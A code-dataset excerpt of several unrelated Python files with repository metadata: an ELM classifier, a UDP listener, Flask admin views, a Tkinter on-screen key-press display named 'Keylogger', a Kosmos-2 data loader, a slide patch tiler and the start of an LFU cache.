f84fa74ce3d173d63d51b4b3a00adfea0600f532 | 0834884fd01d4d493d8059f525ae17f5fc7869a1 | /ExtremeLearningMachine/ELM.py | 2ff2fd3ebde36836d5cd45e2c575cac8357b90ff | [] | no_license | saviorabelo/artificial-neural-network | 66bb057248f4df2703a3a2ba7abb8ba82fc4e617 | 42360c6f83a59aab94b20e32e1f683971b99d6b3 | refs/heads/master | 2020-07-05T08:45:26.307050 | 2019-12-13T18:14:07 | 2019-12-13T18:14:07 | 202,594,348 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,334 | py | import math
import random
import numpy as np
from Utils.utils import Util as util
from matplotlib import pyplot as plt
from sklearn.metrics import accuracy_score as acc
#TPR: (Sensitivity, hit rate, recall)
from sklearn.metrics import recall_score as tpr
#TNR=SPC: (Specificity)
#PPV: Pos Pred Value (Precision)
from sklearn.metrics import precision_score as ppv
class ELM:
def __init__(self, x_data, y_data, activation='logistic', g_search=False, hidden_layer=10):
self.x_data = x_data
self.y_data = y_data
self.n_classes = np.unique(self.y_data, axis=0)
self.g_search = g_search
self.attributes = x_data.shape[1]
self.hidden_layer = hidden_layer
self.output_layer = y_data.shape[1]
self.epochs = 500
self.realizations = 1
self.precision = 10**(-5)
self.train_size = 0.8
self.activation = activation
self.hit_rate = []
self.tpr = []
self.spc = []
self.ppv = []
def initWeigths(self, hidden_layer):
params = {}
a = -1.5
b = 1.5
params['w'] = (b - a) * np.random.random_sample((self.attributes+1, hidden_layer)) + a
params['m'] = (b - a) * np.random.random_sample((hidden_layer+1, self.output_layer)) + a
return params
def updateEta(self, epoch):
eta_i = 0.1
eta_f = 0.05
eta = eta_i * ((eta_f / eta_i) ** (epoch / self.epochs))
self.eta = eta
def function(self, u):
if self.activation == 'logistic':
y = 1.0/(1.0 + np.exp(-u))
elif self.activation == 'tanh':
y = (np.exp(u) - np.exp(-u))/(np.exp(u) + np.exp(-u))
else:
raise ValueError('Error in function!')
y = 0
return y
def derivate(self, u):
if self.activation == 'logistic':
y_ = u * (1.0 - u)
elif self.activation == 'tanh':
y_ = 0.5 * (1.0 - (u * u))
else:
raise ValueError('Error in derivate!')
y_ = 0
return y_
def activationFunction(self, u):
value = np.amax(u)
y = np.where(u == value, 1, 0)
return y
def predict(self, xi, params):
w = params['w']
m = params['m']
H = np.dot(xi, w)
H = self.function(H)
H = np.concatenate(([-1], H), axis=None)
H = H.reshape(1,-1)
Y = np.dot(H, m)
Y = self.function(Y)
y = self.activationFunction(Y)
return y[0]
def train(self, x_train, y_train, hidden_layer):
error_old = 0
cont_epochs = 0
mse_vector = []
params = self.initWeigths(hidden_layer)
w = params['w']
m = params['m']
H = np.dot(x_train, w)
H = self.function(H)
# Bias
(m, _) = H.shape
bias = -1 * np.ones((m, 1))
H = np.concatenate((bias, H), axis=1)
H_pinv = np.linalg.pinv(H)
m = np.dot(H_pinv, y_train)
params['w'] = w
params['m'] = m
return params
def test(self, x_test, y_test, params):
y_true = []
y_pred = []
(p, _) = x_test.shape
for k in range(p):
x_k = x_test[k]
y = self.predict(x_k, params)
d = y_test[k]
# Confusion Matrix
y_true.append(list(d))
y_pred.append(list(y))
a = util.inverse_transform(y_true, self.n_classes)
b = util.inverse_transform(y_pred, self.n_classes)
return acc(a,b), tpr(a,b, average='macro'), 0, ppv(a,b, average='weighted')
#return acc(a,b), 0, 0, 0
def grid_search(self, x_train, y_train):
(n, _) = x_train.shape
hidden_layer = [4,6,8,10,12,14,16,18,20,22,24,26,28,30]
k_fold = 5
slice_ = int(n/k_fold)
grid_accuracy = []
for q in hidden_layer:
scores = []
# cross validation
for j in range(k_fold):
# set range
a = j*slice_
b = (j+1)*slice_
X_tra_aux = np.concatenate((x_train[0:a], x_train[b:n]), axis=0)
X_test_aux = x_train[a:b]
Y_tra_aux = np.concatenate((y_train[0:a], y_train[b:n]), axis=0)
Y_test_aux = y_train[a:b]
params = self.train(X_tra_aux, Y_tra_aux, q)
acc, _, _, _ = self.test(X_test_aux, Y_test_aux, params)
scores.append(acc)
grid_accuracy.append(np.mean(scores))
print('Grid search:', grid_accuracy)
index_max = np.argmax(grid_accuracy)
return hidden_layer[index_max]
def execute(self):
x_data = util.normalizeData(self.x_data)
x_data = util.insertBias(x_data)
y_data = self.y_data
for i in range(self.realizations):
x_data_aux, y_data_aux = util.shuffleData(x_data, y_data)
x_train, x_test, y_train, y_test = util.splitData(x_data_aux, y_data_aux, self.train_size)
if self.g_search:
best_hidden_layer = self.grid_search(x_train, y_train)
print('Hidden Layer:', best_hidden_layer)
else:
best_hidden_layer = self.hidden_layer
params = self.train(x_train, y_train, best_hidden_layer)
acc, tpr, spc, ppv = self.test(x_test, y_test, params)
self.hit_rate.append(acc)
self.tpr.append(tpr)
self.spc.append(spc)
self.ppv.append(ppv)
self.acc = np.mean(self.hit_rate)
self.std = np.std(self.hit_rate)
self.tpr = np.mean(self.tpr)
self.spc = np.mean(self.spc)
self.ppv = np.mean(self.ppv)
print('Hit rate: {}'.format(self.hit_rate))
print('Accuracy: {:.2f}'.format(self.acc*100))
print('Minimum: {:.2f}'.format(np.amin(self.hit_rate)*100))
print('Maximum: {:.2f}'.format(np.amax(self.hit_rate)*100))
print('Standard Deviation: {:.2f}'.format(self.std))
print('Sensitivity: {:.2f}'.format(self.tpr*100))
print('Specificity: {:.2f}'.format(self.spc*100))
print('Precision: {:.2f}'.format(self.ppv*100))
#self.plotColorMap_3C(x_train, x_test, y_train, self.predict, params)
#self.plotColorMap_2C(x_train, x_test, y_train, self.predict, params)
def plotColorMap_3C(self, x_train, x_test, y_train, predict, params):
color1_x = []
color1_y = []
color2_x = []
color2_y = []
color3_x = []
color3_y = []
for i in np.arange(0,1.0,0.005):
for j in np.arange(0,1.0,0.005):
xi = np.array([-1, i, j])
y = predict(xi, params)
if np.array_equal(y, [0,0,1]):
color1_x.append(i)
color1_y.append(j)
elif np.array_equal(y, [0,1,0]):
color2_x.append(i)
color2_y.append(j)
elif np.array_equal(y, [1,0,0]):
color3_x.append(i)
color3_y.append(j)
else:
raise ValueError('Error color!\n')
# Split a train class
i = []
j = []
k = []
for index,y in enumerate(y_train):
if np.array_equal(y, [0,0,1]):
i.append(index)
elif np.array_equal(y, [0,1,0]):
j.append(index)
elif np.array_equal(y, [1,0,0]):
k.append(index)
else:
raise ValueError('Error!\n')
train1 = x_train[i]
train2 = x_train[j]
train3 = x_train[k]
fig, ax = plt.subplots()
plt.title('ELM Color Map')
plt.xlabel('Eixo X')
plt.ylabel('Eixo y')
ax.scatter(color1_x, color1_y, color=[0.80, 0.88, 0.97])
ax.scatter(color2_x, color2_y, color=[0.80, 0.80, 0.80])
ax.scatter(color3_x, color3_y, color=[0.95, 0.87, 0.73])
ax.scatter(train1[:,1], train1[:,2], label='Classe 1', color=[0.00, 0.45, 0.74])
ax.scatter(train2[:,1], train2[:,2], label='Classe 2', color=[0.31, 0.31, 0.31])
ax.scatter(train3[:,1], train3[:,2], label='Classe 3', color=[0.60, 0.20, 0.00])
ax.scatter(x_test[:,1], x_test[:,2], label='Test Data', color='green')
ax.legend()
ax.grid(True)
plt.show()
#fig.savefig('.\MultilayerPerceptron\Results\color_map.png')
def plotColorMap_2C(self, x_train, x_test, y_train, predict, params):
color1_x = []
color1_y = []
color2_x = []
color2_y = []
for i in np.arange(0,1,0.005):
for j in np.arange(0,1,0.005):
xi = np.array([-1, i, j])
y = predict(xi, params)
if np.array_equal(y, [0,1]):
color1_x.append(i)
color1_y.append(j)
elif np.array_equal(y, [1,0]):
color2_x.append(i)
color2_y.append(j)
else:
raise ValueError('Error color!\n')
# Split a train class
i = []
j = []
for index,y in enumerate(y_train):
if np.array_equal(y, [0,1]):
i.append(index)
elif np.array_equal(y, [1,0]):
j.append(index)
else:
raise ValueError('Error!\n')
train1 = x_train[i]
train2 = x_train[j]
fig, ax = plt.subplots()
plt.title('ELM Color Map')
plt.xlabel('Eixo X')
plt.ylabel('Eixo y')
ax.scatter(color1_x, color1_y, color=[0.80, 0.88, 0.97])
ax.scatter(color2_x, color2_y, color=[0.80, 0.80, 0.80])
ax.scatter(train1[:,1], train1[:,2], label='Classe 1', color=[0.00, 0.45, 0.74])
ax.scatter(train2[:,1], train2[:,2], label='Classe 2', color=[0.31, 0.31, 0.31])
ax.scatter(x_test[:,1], x_test[:,2], label='Test Data', color='green')
ax.legend()
ax.grid(True)
plt.show()
#fig.savefig('.\MultilayerPerceptron\Results\color_map.png')
#fig.savefig('.\MultilayerPerceptron\Results\color_map.png', dpi=fig.dpi, bbox_inches='tight')
| [
"saviorabelo.ti@gmail.com"
] | saviorabelo.ti@gmail.com |
3d787e6984f3eee88abe60dd5170ec3af6010e22 | c6cd9829966c730e52ba932ff04b05c186c3af99 | /udpserver.py | c14eb6b87daa9bfa2fcbed85a24e70c5792b7053 | [] | no_license | fotopretty/ESP8266Server | ba3b9c980c35edd57a5c759225bfedfdb82c26e6 | aca0baa6762e5230593a1fe3bf1379db89530a78 | refs/heads/master | 2021-05-29T12:19:18.611152 | 2015-09-16T17:03:40 | 2015-09-16T17:03:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 730 | py | # This is a Python UDP server to display UDP messages sent by the ESP8266 Arduino Shield by http://www.doit.am/
# Listen to UDP port 9000 and print any message received.
# Based on https://pymotw.com/2/socket/udp.html
__author__ = 'Luppy'
import socket
import sys
# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Bind the socket to any IP address, port 9000
server_address = ('', 9000)
print >>sys.stderr, 'starting up on %s port %s' % server_address
sock.bind(server_address)
print >>sys.stderr, '\nwaiting to receive message'
while True:
data, address = sock.recvfrom(4096)
print >>sys.stderr, '----received %s bytes from %s' % (len(data), address)
print >>sys.stderr, data
| [
"lupyuen@gmail.com"
] | lupyuen@gmail.com |
db8d15fe436a1605c48b2d2a6915384b202132f1 | c44a3227d1c2b3a892a9a52438a324e675485ff7 | /odp/ui/admin/views/providers.py | 0b97bea6fff0e6ea171b7e750a6c02b9312ef3de | [
"MIT"
] | permissive | SAEONData/Open-Data-Platform | 4b87aece6a83befd82a67f97d4ae330380c1f947 | 50c52bf476fd5c82afdf44379805f8790bb20319 | refs/heads/main | 2022-11-07T00:30:38.697706 | 2022-11-04T15:09:37 | 2022-11-04T15:09:37 | 251,641,495 | 2 | 1 | MIT | 2022-09-20T12:35:56 | 2020-03-31T15:12:19 | Python | UTF-8 | Python | false | false | 2,215 | py | from flask import Blueprint, flash, redirect, render_template, request, url_for
from odp.ui.admin.forms import ProviderForm
from odplib.const import ODPScope
from odplib.ui import api
bp = Blueprint('providers', __name__)
@bp.route('/')
@api.client(ODPScope.PROVIDER_READ)
def index():
page = request.args.get('page', 1)
providers = api.get(f'/provider/?page={page}')
return render_template('provider_list.html', providers=providers)
@bp.route('/<id>')
@api.client(ODPScope.PROVIDER_READ)
def view(id):
provider = api.get(f'/provider/{id}')
return render_template('provider_view.html', provider=provider)
@bp.route('/new', methods=('GET', 'POST'))
@api.client(ODPScope.PROVIDER_ADMIN)
def create():
form = ProviderForm(request.form)
if request.method == 'POST' and form.validate():
try:
api.post('/provider/', dict(
id=(id := form.id.data),
name=form.name.data,
))
flash(f'Provider {id} has been created.', category='success')
return redirect(url_for('.view', id=id))
except api.ODPAPIError as e:
if response := api.handle_error(e):
return response
return render_template('provider_edit.html', form=form)
@bp.route('/<id>/edit', methods=('GET', 'POST'))
@api.client(ODPScope.PROVIDER_ADMIN)
def edit(id):
provider = api.get(f'/provider/{id}')
form = ProviderForm(request.form, data=provider)
if request.method == 'POST' and form.validate():
try:
api.put('/provider/', dict(
id=id,
name=form.name.data,
))
flash(f'Provider {id} has been updated.', category='success')
return redirect(url_for('.view', id=id))
except api.ODPAPIError as e:
if response := api.handle_error(e):
return response
return render_template('provider_edit.html', provider=provider, form=form)
@bp.route('/<id>/delete', methods=('POST',))
@api.client(ODPScope.PROVIDER_ADMIN)
def delete(id):
api.delete(f'/provider/{id}')
flash(f'Provider {id} has been deleted.', category='success')
return redirect(url_for('.index'))
| [
"52427991+marksparkza@users.noreply.github.com"
] | 52427991+marksparkza@users.noreply.github.com |
f2edfa2f0d98022cc3223e0db302d70a56f897a7 | 9b4db919100b8c64c0bc22930b9d4eb03cdc0b79 | /app.py | 400c1e080aa3a6a69ae94b079744afcdc8e4658c | [] | no_license | ToryQuinn/keyloggerGui | 6c7845bf86d1004b51b13c7f7189984f1756292e | a90a0d3b55c757593fb2a796320555639e785aca | refs/heads/master | 2022-12-23T18:46:30.778757 | 2020-09-04T03:51:11 | 2020-09-04T03:51:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,864 | py | import keyboard
from tkinter import *
import argparse
class Keylogger:
def __init__(self,
fontName="Helvetica",
fontSize=99,
fontWeight="normal",
textColor="#ff00ff",
backgroundColor="#6600CC"):
self.tk = Tk()
self.text_buffer = []
self.label = Label(self.tk,
text="",
font=(fontName, fontSize, fontWeight),
fg=textColor,
bg=backgroundColor)
self.tk.configure(bg=backgroundColor)
def updateText(self):
self.label["text"] = '+'.join(self.text_buffer)
def addKey(self,key):
self.text_buffer.append(key)
self.updateText()
def delKey(self, key):
self.text_buffer.remove(key)
self.updateText()
def callback(self, event):
key = event.name.lower()
if keyboard.is_pressed(event.name):
if not key in self.text_buffer:
self.addKey(key)
else:
self.delKey(key)
if (all(x in self.text_buffer for x in ["shift", "ctrl","x"])):
self.tk.destroy()
def run(self):
self.label.pack()
keyboard.hook(callback=self.callback)
mainloop()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Run a Keylogger Gui For S n' Gs, press shift+ctrl+x to quit")
parser.add_argument('-f',
'--font',
type=str,
default="Helvetica",
help="The font name, e.g. Helvetica")
parser.add_argument('-s',
'--size',
type=int,
default=99,
help="The size of the font in pixels")
parser.add_argument('-w',
'--weight',
type=str,
choices=["bold", "boldface", "normal"],
default="normal",
help="Font weight: bold, boldface, normal")
parser.add_argument('-t',
'--text-color',
type=str,
default="#ff00ff",
help="Text Color as text, e.g. red, black, purple, color codes also work")
parser.add_argument('-b',
'--background-color',
type=str,
default="#6600CC",
help="Color of the Background in text")
args = parser.parse_args()
k = Keylogger(args.font,
args.size,
args.weight,
args.text_color,
args.background_color
)
k.run()
| [
"troy@awakesecurity.com"
] | troy@awakesecurity.com |
5249901142f31f7c35f886b5c7193b60b5816526 | fb1e852da0a026fb59c8cb24aeb40e62005501f1 | /kosmos-2/torchscale/examples/fairseq/tasks/data/lm_loader.py | 6be575239088da94981dd64c5f831ab4cd96fc5f | [
"MIT",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-unknown-license-reference",
"LGPL-2.1-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0"
] | permissive | microsoft/unilm | 134aa44867c5ed36222220d3f4fd9616d02db573 | b60c741f746877293bb85eed6806736fc8fa0ffd | refs/heads/master | 2023-08-31T04:09:05.779071 | 2023-08-29T14:07:57 | 2023-08-29T14:07:57 | 198,350,484 | 15,313 | 2,192 | MIT | 2023-08-19T11:33:20 | 2019-07-23T04:15:28 | Python | UTF-8 | Python | false | false | 13,974 | py | import glob
import os
import torch
import numpy as np
import time
import json
import random
import itertools
import hydra
import copy
from omegaconf import DictConfig, OmegaConf
from infinibatch import iterators
from .basic_loader import BaseBatchGen
from .utils import NativeCheckpointableIterator, WeightIterator, EOL_SYMBOL
from .utils import safe_getattr, safe_hasattr
class LMLoader(BaseBatchGen):
def __init__(
self,
args,
dataset,
dictionary,
tokenizer,
max_tokens=None,
max_sentences=None,
max_positions=None,
ignore_invalid_inputs=False,
required_batch_size_multiple=1,
seed=1,
epoch=1,
num_shards=1,
shard_id=0,
disable_prefetching=False,
data_name='gpt',
):
super().__init__()
self.args = args
self.data = dataset.data
self.data_dir = dataset.data_dir
self.shuffle = dataset.shuffle
self.dictionary = dictionary
self.tokenizer = tokenizer
self.max_tokens = max_tokens
self.max_sentences = max_sentences
self.max_positions = max_positions
self.tokens_per_sample = args.tokens_per_sample
self.mlm_cut_length = safe_getattr(args, "mlm_cut_length", 0)
self.mlm_tokens_proportion = safe_getattr(args, "mlm_tokens_proportion", 0)
self.pad_to_max_len = safe_getattr(args, "pad_to_max_len", False)
self.ignore_invalid_inputs = ignore_invalid_inputs
self.required_batch_size_multiple = required_batch_size_multiple
self.seed = str(seed)
self.epoch = epoch
self.num_shards = num_shards
self.shard_id = shard_id
self.batch_read_ahead = args.batch_read_ahead
self.disable_prefetching = disable_prefetching
self.data_name = data_name
self._setup()
self._build_iter()
def _setup(self):
pass
def _build_iter(self):
tokenized_lines = self._tokenize()
self.padded_batches = self._batchify(tokenized_lines)
if self.disable_prefetching:
prefetch_batches = self.padded_batches
else:
prefetch_batches = iterators.PrefetchIterator(
self.padded_batches,
buffer_size=10000,
buffer_in_main_process=True,
log_empty_buffer_warning=True and self.shard_id == 0,
)
prefetch_batches = iterators.MapIterator(
prefetch_batches, self._move_to_tensor
)
self._iter = prefetch_batches
def _tokenize(self):
'''
data:
{
'source': list[Path],
}
'''
dataset = list(zip(self.data['source']))
if self.shuffle:
chunk_files = \
iterators.InfinitePermutationSourceIterator(
dataset,
seed=self.seed,
shuffle=self.shuffle,
num_instances=self.num_shards,
instance_rank=self.shard_id,
)
else:
chunk_files = \
iterators.ChunkedSourceIterator(
dataset,
num_instances=self.num_shards,
instance_rank=self.shard_id,
)
tokenized_lines = iterators.SelectManyIterator(chunk_files, lambda files: self._read_from_files(*files))
tokenized_lines = iterators.SamplingRandomMapIterator(tokenized_lines, self._prepare, self.seed)
return tokenized_lines
def getstate(self):
state = super().getstate()
state["epoch"] = self.epoch
state["iterations_in_epoch"] = None
return state
def _batchify(self, lines):
if self.max_sentences is not None:
if self.batch_read_ahead > 0:
lines = iterators.BlockwiseShuffleIterator(lines, self.batch_read_ahead, self.seed)
batches = iterators.FixedBatchIterator(lines, self.max_sentences)
else:
# -
def dynamic_batch_size(sample):
lengths = [len(x) for x in sample]
batch_size = self.max_tokens // max(lengths) // self.required_batch_size_multiple * self.required_batch_size_multiple
return max(1, batch_size)
batches = iterators.BucketedReadaheadBatchIterator(
lines,
read_ahead=self.batch_read_ahead,
key=(lambda x: max(len(x[0]), len(x[1]))) if self.shuffle else None,
batch_size=dynamic_batch_size,
shuffle=self.shuffle,
seed=self.seed,
)
def collate(batch):
batch_size = len(batch)
mlm_batch_size = sum([len(x[2]) for x in batch])
gpt_max_length = max([len(x[0]) for x in batch])
if self.pad_to_max_len:
gpt_max_length = self.tokens_per_sample
mlm_max_length = 0
mlm_ntokens = 0
for x in batch:
for y in x[2]:
mlm_max_length = max(mlm_max_length, len(y))
mlm_ntokens += len(y)
gpt_source_ids = np.full(shape=(batch_size, gpt_max_length-1), dtype=np.int32,
fill_value=self.dictionary.pad())
gpt_target_ids = np.full(shape=(batch_size, gpt_max_length-1), dtype=np.int32,
fill_value=self.dictionary.pad())
mlm_source_ids = np.full(shape=(mlm_batch_size, mlm_max_length), dtype=np.int32,
fill_value=self.dictionary.pad())
gpt_input_mask_all = np.full(shape=(batch_size, gpt_max_length-1), dtype=np.int32, fill_value=0)
gpt_loss_mask_all = np.full(shape=(batch_size, gpt_max_length-1), dtype=np.int32, fill_value=1)
mlm_mask_all = np.full(shape=(mlm_batch_size, mlm_max_length), dtype=np.int32, fill_value=0)
mlm_index = 0
for i, (gpt_ids, gpt_input_mask, mlm_ids_list, mlm_mask_list, gpt_loss_mask) in enumerate(batch):
gpt_source_ids[i, :len(gpt_ids)-1] = gpt_ids[:-1]
gpt_target_ids[i, :len(gpt_ids)-1] = gpt_ids[1:]
gpt_input_mask_all[i, :len(gpt_ids)-1] = gpt_input_mask[:-1]
gpt_loss_mask_all[i, :len(gpt_ids)-1] = gpt_loss_mask[1:]
for j, (mlm_ids, mlm_mask) in enumerate(zip(mlm_ids_list, mlm_mask_list)):
mlm_source_ids[mlm_index, :len(mlm_ids)] = mlm_ids
mlm_mask_all[mlm_index, :len(mlm_mask)] = mlm_mask
mlm_index += 1
ret_batch = {
'text':{
'net_input': {
'src_tokens': gpt_source_ids.astype(np.int64),
'mlm_src_tokens': mlm_source_ids.astype(np.int64) if mlm_batch_size !=0 else None,
'gpt_input_mask': gpt_input_mask_all.astype(np.bool_),
'gpt_loss_mask': gpt_loss_mask_all.astype(np.bool_),
'mlm_mask': mlm_mask_all.astype(np.bool_) if mlm_batch_size !=0 else None
},
'target': gpt_target_ids.astype(np.int64),
'nsentences': batch_size,
'ntokens': sum([len(x[0]) for x in batch]),
'mlm_ntokens': mlm_ntokens
}
}
return ret_batch
def collate_for_gpt(batch):
batch_size = len(batch)
gpt_max_length = max([len(x[0]) for x in batch])
if self.pad_to_max_len:
gpt_max_length = self.tokens_per_sample
gpt_source_ids = np.full(shape=(batch_size, gpt_max_length-1), dtype=np.int32,
fill_value=self.dictionary.pad())
gpt_target_ids = np.full(shape=(batch_size, gpt_max_length-1), dtype=np.int32,
fill_value=self.dictionary.pad())
gpt_input_mask_all = np.full(shape=(batch_size, gpt_max_length-1), dtype=np.int32, fill_value=0)
gpt_loss_mask_all = np.full(shape=(batch_size, gpt_max_length-1), dtype=np.int32, fill_value=1)
for i, (gpt_ids, gpt_input_mask, mlm_ids_list, mlm_mask_list, gpt_loss_mask) in enumerate(batch):
gpt_source_ids[i, :len(gpt_ids)-1] = gpt_ids[:-1]
gpt_target_ids[i, :len(gpt_ids)-1] = gpt_ids[1:]
gpt_input_mask_all[i, :len(gpt_ids)-1] = gpt_input_mask[:-1]
gpt_loss_mask_all[i, :len(gpt_ids)-1] = gpt_loss_mask[1:]
ret_batch = {
self.data_name:{
'net_input': {
'src_tokens': gpt_source_ids.astype(np.int64),
},
'target': gpt_target_ids.astype(np.int64),
'nsentences': batch_size,
'ntokens': sum([len(x[0]) for x in batch]),
'mlm_ntokens': 0
}
}
return ret_batch
if self.mlm_tokens_proportion == 0:
padded_batches = iterators.MapIterator(
batches, collate_for_gpt
)
else:
padded_batches = iterators.MapIterator(
batches, collate
)
return padded_batches
def _prepare(self, _random, doc):
mlm_tokens, mlm_mask, gpt_input_mask, gpt_loss_mask = self._mlm_cut(_random, doc)
full_tokens = self._gpt(doc)
return full_tokens, gpt_input_mask, mlm_tokens, mlm_mask, gpt_loss_mask
def _mlm_cut(self, _random, doc):
eod_index = self.dictionary.indices[EOL_SYMBOL]
if self.mlm_tokens_proportion == 0:
mlm_tokens = []
mlm_mask = []
gpt_input_mask = [0] * len(doc)
gpt_loss_mask = [1] * len(doc)
return mlm_tokens, mlm_mask, gpt_input_mask, gpt_loss_mask
cut_start = np.arange(1, len(doc)-3/2*self.mlm_cut_length, self.mlm_cut_length, dtype=int)
_random.shuffle(cut_start)
mlm_tokens = []
mlm_mask = []
start_list = []
gpt_input_mask = np.zeros(len(doc), dtype=int)
gpt_loss_mask = np.ones(len(doc), dtype=int)
mlm_tokens_total_num = (len(doc)-1) * self.mlm_tokens_proportion
mlm_tokens_cur_num = 0
for start in cut_start:
eod_num = doc[start:start+self.mlm_cut_length].count(eod_index)
if eod_num >= 2:
continue
elif eod_num == 1:
eod_pos = doc[start:start+self.mlm_cut_length].index(eod_index)
if self.mlm_cut_length - eod_pos < 20:
continue
start_ind, end_ind = start+eod_pos+1, start + self.mlm_cut_length
else:
cut_pos = _random.randint(0, self.mlm_cut_length-1)
if cut_pos >= self.mlm_cut_length/2:
start_ind, end_ind = start, start + cut_pos + 1
else:
start_ind, end_ind = start + cut_pos, start + self.mlm_cut_length
assert eod_index not in doc[start_ind:end_ind]
start_list.append(start)
mlm_tokens.append([self.dictionary.bos()] + doc[start_ind:end_ind])
mlm_tokens_cur_num += end_ind - start_ind
mlm_mask.append([0] + [1]*(end_ind - start_ind))
gpt_input_mask[start_ind:end_ind] = 1
gpt_loss_mask[start_ind:end_ind-1] = 0
if mlm_tokens_cur_num > mlm_tokens_total_num:
break
ind = np.array(start_list).argsort()
start_list = np.array(start_list)[ind]
mlm_tokens = np.array(mlm_tokens, dtype=object)[ind]
mlm_mask = np.array(mlm_mask, dtype=object)[ind]
return mlm_tokens, mlm_mask, gpt_input_mask, gpt_loss_mask
def _gpt(self, doc):
return doc
def _read_from_files(self, source_file):
data = []
file_path = os.path.join(self.data_dir, source_file)
if not os.path.exists(file_path):
print('| file {} not exists'.format(file_path), flush=True)
return iter([]) # skip bad file
with open(file_path, 'r', encoding='utf8') as f:
lines = f.read().strip().split('\n')
gpt_format_text = []
for line in lines:
gpt_format_text.extend(list(filter(None, json.loads(line)["text"].split("\n"))))
gpt_format_text.append('')
tokenized_lines = [self.tokenizer.encode(line) for line in gpt_format_text]
tokenized_ids = [self.dictionary.encode_line(line, add_if_not_exist=False) for line in tokenized_lines]
doc = [self.dictionary.bos()]
for ids in tokenized_ids:
if len(ids) > self.tokens_per_sample: # drop too long sentence
continue
if len(doc) + len(ids) > self.tokens_per_sample:
if len(doc) > 5/2*self.mlm_cut_length + 1:
data.append(doc)
doc = [self.dictionary.bos()]
doc.extend(ids)
if len(doc) > 1 and len(doc) <= self.tokens_per_sample:
if len(doc) > 5/2*self.mlm_cut_length + 1:
data.append(doc)
return data | [
"1083127130@qq.com"
] | 1083127130@qq.com |
ac678452167fdda6716d1bcbc3f21932495634e2 | 48de730b9ec1de64250704722a5e834d1e940573 | /utils/wsi2patch_old.py | 0d70b7a1ada4e7145b565befacea875f25d14d91 | [] | no_license | hacylu/oral_epi_segmentation | aece7341d3d5ac9368ca962de286b8841bfe5e4f | 78c8c4f6e50d09aa5a3cf607ffa91ee02cad9495 | refs/heads/main | 2023-08-02T03:14:16.877382 | 2021-09-03T07:52:04 | 2021-09-03T07:52:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,560 | py | from glob import glob
from multiprocessing import Pool
from itertools import repeat
import os
import large_image
from PIL import Image
import cv2
def task_wsi2patch(ori_dir, mask_dir, tar_dir, params):
src_paths = glob('%s/*.%s' % (ori_dir, params['src_ext']))
params['mask_dir'] = mask_dir
params['tar_dir'] = tar_dir
p = Pool(params['cpu_cores']//2)
p.starmap(one_wsi2patch, zip(src_paths, repeat(params)))
def one_wsi2patch(src_path, params):
src_mag = params['src_mag']
tar_mag = params['tar_mag']
patch_size = params['patch_size']
src_ext = params['src_ext']
tar_ext = params['tar_ext']
mask_ext = params['mask_ext']
tar_dir = params['tar_dir']
mask_dir = params['mask_dir']
try:
ts = large_image.getTileSource(src_path)
Left = ts.sizeY
Top = ts.sizeX
except Exception as e:
print(e)
return
name = src_path.split('/')[-1].replace(f'.{src_ext}','')
label = mask_dir.split('/')[-1]
out_dir = f'{tar_dir}/{label}/{name}'
os.makedirs(out_dir, exist_ok=True)
mask_path = f'{mask_dir}/{name}.{mask_ext}'
if os.path.exists(mask_path) == False:
return
mask = cv2.imread(mask_path, 0)
scale = src_mag*patch_size//tar_mag
small_mask = cv2.resize(mask, (Top//scale, Left//scale), Image.BICUBIC)
tops, lefts = (small_mask >0).nonzero()
size = patch_size*src_mag//tar_mag
for i in range(len(tops)):
left = lefts[i]*scale
top = tops[i]*scale
patch, _ = ts.getRegion(
region = dict(left=left,top=top,width=size,height=size),
format = large_image.tilesource.TILE_FORMAT_PIL)
patch = patch.convert(mode='RGB')
patch = patch.resize((patch_size, patch_size), Image.BICUBIC)
patch.save(f'{out_dir}/{name}_{left}_{top}.{tar_ext}')
if __name__ == '__main__':
wsi_dir = '/mnt/md0/_datasets/OralCavity/WSI/OralCavity_SFVA'
tumor_mask_dir = '/mnt/md0/_datasets/OralCavity/WSI/Masks_SFVA/tumor'
nontumor_mask_dir = '/mnt/md0/_datasets/OralCavity/WSI/Masks_SFVA/nontumor'
tar_dir = '/mnt/md0/_datasets/OralCavity/wsi/sfva/10x256'
mag = 10
patch_size = 256
params = dict(
src_mag=40,
tar_mag=10,
patch_size=256,
src_ext='tif',
tar_ext='png',
mask_ext='png',
cpu_cores = 40,
)
task_wsi2patch(wsi_dir, tumor_mask_dir, tar_dir, params)
task_wsi2patch(wsi_dir, nontumor_mask_dir, tar_dir, params)
| [
"hi@wuyu.xin"
] | hi@wuyu.xin |
9b11a3c304c6e557a2827c112d8e6ec0dda2c721 | d2b7cc1142dfa73a0bda91bfb03638aafa273473 | /codernitydb3/lfu_cache.py | 6b1cfe10c36b3928b0e2bb8c6402e004a7d460f0 | [
"Apache-2.0"
] | permissive | nickmasster/codernitydb3 | 2fb13e8e317e2dade1c4814d4678e5245d3d3298 | 0799ae0a1e9c08613d8400ca6a9d8709a0ed27c1 | refs/heads/master | 2022-11-26T21:50:10.528013 | 2020-08-01T15:20:57 | 2020-08-01T15:20:57 | 278,128,533 | 10 | 6 | null | null | null | null | UTF-8 | Python | false | false | 4,855 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright 2020 Nick M. (https://github.com/nickmasster)
# Copyright 2011-2013 Codernity (http://codernity.com)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import functools
from heapq import nsmallest
from operator import itemgetter
from collections import defaultdict
try:
from collections import Counter
except ImportError:
class Counter(dict):
'Mapping where default values are zero'
def __missing__(self, key):
return 0
def cache1lvl(maxsize=100):
"""
modified version of http://code.activestate.com/recipes/498245/
"""
def decorating_function(user_function):
cache = {}
use_count = Counter()
@functools.wraps(user_function)
def wrapper(key, *args, **kwargs):
try:
result = cache[key]
except KeyError:
